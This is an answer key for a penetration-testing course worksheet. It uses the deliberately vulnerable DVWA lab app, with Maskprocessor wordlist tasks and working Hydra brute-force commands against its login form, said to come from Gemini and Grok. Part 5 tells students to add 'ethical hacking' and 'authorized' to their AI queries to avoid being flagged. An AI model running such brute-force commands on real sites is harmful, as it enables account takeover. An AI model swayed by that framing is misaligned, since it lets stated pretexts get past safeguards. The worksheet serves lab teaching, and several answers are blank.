**Section 5: Independent Practice Worksheet Answer Key**

**Part 1**

**Instructions:** Check out the screenshot of the DVWA login page. What is the URL for this page?

Suggested Answer

The URL for the page is http://4.3.2.3/dvwa/login.php.

**Part 2**
**Instructions:** Log in to the DVWA web server and in the Security menu section change the security level to “Low”.

Suggested Answer:


**Part 3**
**Instructions:** Remember how to build a Massprocessor username list and password list? Let’s assume you know the first three lower alpha letters of the user password. Build the list *username\_wordlist2.txt* and display the first and last 10-character strings.

Suggested Answer:

**Part 4**

**Instructions**: Now assume you know the first six letters of the lower alpha password. Use Massprocessor to build the list *password\_wordlist2.txt* and show the first and last 10-character strings:

Suggested Answer:



**Part 5**
**Instructions:** Use the two wordlists (username\_wordlist2.txt, *password\_wordlist2.txt*) you recently generated with Maskprocessor (mp64).

1. Do some AI searching with Grok and Gemini on how to use Hydra to brute force the DVWA login page. Make sure you preface your searches with “ethical hacking” and “authorized” to avoid being flagged!
2. Use what you’ve learned from the AI language learning models and build a successful command string to brute force the DVWA login page with Hydra and your two wordlists. Submit a screenshot of your command string and successful attempt.
3. Break down the parts of the command string and explain the purpose of each part!
4. Analyze and compare the differences between Grok’s and Gemini’s command string.

Suggested Answer

**AI Google Gemini solution (works):**

Unmodified from Gemini (edit to suit environment IP address, etc.)

# hydra -L users.txt -P passwords.txt 192.168.1.100 http-post-form \

"/DVWA/login.php:username=^USER^&password=^PASS^&Login=Login:F=Login failed" -V

Gemini solution customized to use two Maskprocessor (mp64) wordlists and IP address of our target:



**AI Grok 3 solution (works)**

Unmodified from Grok (edit to suit environment IP address, etc.)

# hydra -L /root/users.txt -P /root/passwords.txt localhost http-post-form \

"/dvwa/login.php:username=^USER^&password=^PASS^&Login=Login:Login failed"

Grok3 solution customized to use two Maskprocessor (mp64) wordlists and IP address of our target:



The elements of both Gemini’s and Grok’s command strings are:
1. Hydra command, -L username.list -P password.list IP address of target http-post-form (URL, form fields and actions for username and password data entry) and return message for failed login attempts.